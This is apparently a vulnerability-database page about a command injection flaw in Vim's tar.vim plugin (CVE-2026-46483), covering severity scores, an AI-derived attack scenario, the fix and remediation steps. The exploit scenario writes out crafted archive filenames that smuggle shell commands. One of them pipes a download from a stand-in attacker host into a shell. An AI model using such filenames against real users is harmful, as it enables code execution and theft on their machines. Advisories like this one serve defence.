Skip to main content

Vim CVE-2026-46483

| EUVDEUVD-2026-30542 LOW
OS Command Injection (CWE-78)
2026-05-15 security-advisories@github.com
3.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious .tgz with shell metacharacters in filename
  2. Delivery
    Social engineer victim to download file
  3. Exploit
    Victim opens archive in Vim
  4. Execution
    tar.vim plugin invokes tar#Vimuntar()
  5. Persist
    Unsanitized filename triggers cmdline expansion
  6. Impact
    Injected shell commands execute with user privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to open a .tgz or .tar.gz archive file with a specially crafted filename in Vim on a Unix-like operating system where the tar.vim plugin is enabled (default configuration). The user must either use the :e command to open the archive or use Vim's netrw file browser to navigate to the malicious file. The filename must survive filesystem operations-some environments or transfer protocols may sanitize or reject filenames containing shell metacharacters (quotes, semicolons, dollar signs, percent signs) before the file reaches the victim. The vulnerability does NOT work with plain .tar archives or other compression formats, only .tgz/.tar.gz that trigger the affected gunzip/gzip code path. Exploitation is limited by user interaction requirements-victims must consciously choose to open the suspicious file, and many users would notice unusual characters in filenames during normal file operations. Does not affect Windows systems as the vulnerable Unix gunzip/gzip commands are not invoked. Systems with the tar plugin disabled via vimrc configuration are immune.

Impact

Despite CWE-78 classification and command injection capability, real-world risk is constrained by multiple factors that create a low practical exploitation profile. CVSS 3.6 (Low) accurately reflects limited impact: AV:L requires local file access, AC:H indicates complex exploitation conditions (user must specifically open a maliciously-named .tgz archive in Vim), UI:R mandates victim interaction, and S:U confines impact to the user's privilege context. The attack cannot be remotely delivered or automated at scale. EPSS data not provided, but similar UI-dependent local injection flaws typically score under 1% exploitation probability. No CISA KEV listing confirms no evidence of active exploitation. The GitHub test case (';%$(touch pwned)'.tgz) demonstrates proof-of-concept but requires social engineering to trick users into opening archives with suspicious filenames-most users would notice quotes and shell metacharacters in a filename before opening. The confidentiality and integrity impacts are Low with no availability impact (C:L/I:L/A:N), meaning attackers gain limited code execution within an already-compromised user session. This is more a defense-in-depth issue than a critical remote exploit. Primary risk exists in automated archive processing pipelines or shared development environments where users routinely open untrusted archives, but even there, the filename must survive filesystem operations that may sanitize special characters.

Exploit ScenarioDerived

An attacker creates a malicious .tgz archive with a crafted filename like ';$(malicious_command)'.tgz or '%:!curl attacker.com|sh'.tgz and delivers it to a target user via email attachment, file share, or software repository. When the victim opens the file in Vim (either by explicitly launching 'vim malicious.tgz' or through Vim's file browser), the tar.vim plugin activates and calls tar#Vimuntar() to decompress the archive. The unsanitized filename triggers Vim's cmdline-special expansion before shell execution, causing the embedded shell commands to execute with the user's privileges. The test case in the commit diff demonstrates this with ';%$(touch pwned)'.tgz creating a proof-of-concept file. Attackers could exfiltrate SSH keys, install backdoors, or pivot to other systems accessible to the victim's account.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 15, 2026

Command injection in Vim 9.x text editor allows local attackers to execute arbitrary shell commands when a user opens specially crafted .tgz archive filenames. The vulnerability exploits insufficient sanitization in the tar#Vimuntar() function's shellescape() call, enabling cmdline-special character expansion. Exploitation requires user interaction (opening the malicious archive) and high attack complexity (filename manipulation), limiting real-world risk despite the command injection class. Fixed in version 9.2.0479 via GitHub commit 3fb5e58f. No evidence of active exploitation or public POC beyond the vendor's test case.

RemediationAI

Upgrade to Vim version 9.2.0479 or later, which includes the shellescape sanitization fix from commit 3fb5e58fbc63d86a3e65f1a141b0d67af2aa38a1. The fix is available through the official Vim GitHub release at https://github.com/vim/vim/releases/tag/v9.2.0479 and should propagate to distribution package managers (apt, yum, brew, ports) within normal update cycles. For environments unable to immediately upgrade, disable the tar.vim plugin by adding 'let g:loaded_tar = 1' to vimrc configuration before any archives are opened-this prevents the vulnerable code from loading but removes archive browsing functionality entirely. As a compensating control, implement filename validation in any scripts or workflows that programmatically open archives in Vim, rejecting filenames containing shell metacharacters (quotes, backticks, dollar signs, semicolons, percent signs). This workaround has the side effect of preventing legitimate use of special characters in archive names. User training to avoid opening archives with suspicious filenames provides defense-in-depth but is not technically enforceable. The patch has no known side effects and maintains backward compatibility with normal archive handling.

Affected VersionsENISA

vim < 9.2.479

Affected Packages

euvd vim fix: 9.2.479

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in Vim's tar.vim autoload plugin, specifically the tar#Vimuntar() function that handles .tgz archive decompression on Unix-like systems. The function constructs shell commands (!gunzip and !gzip -d) by concatenating user-controlled input (the archive filename) using Vim's shellescape() function without the {special} flag. This omission allows Vim's cmdline-special characters (such as %, #, <cword>) to be expanded before shell execution, enabling command injection through filename manipulation. The fix adds the {special} flag (value 1) to shellescape() calls, preventing cmdline expansion and treating special characters as literal strings. This is a classic example of CWE-78 (OS Command Injection) where insufficient neutralization of special elements occurs in a command construction context. The commit diff shows the minimal two-line change adding the missing sanitization parameter.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 3.6 LOW
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
May 15, 2026 - 16:01 EUVD

DescriptionGitHub Advisory

Vim is an open source, command line text editor. Prior to 9.2.0479, a command injection vulnerability exists in tar#Vimuntar() in runtime/autoload/tar.vim when decompressing .tgz archives on Unix-like systems. The function builds :!gunzip and :!gzip -d commands using shellescape(tartail) without the {special} flag, allowing a crafted archive filename to trigger Vim cmdline-special expansion and execute shell commands in the user's context. This vulnerability is fixed in 9.2.0479.

Threat Intelligence Overview

EPSS Score
0.2%
Top 53% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment MSRC GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

18
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +18
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy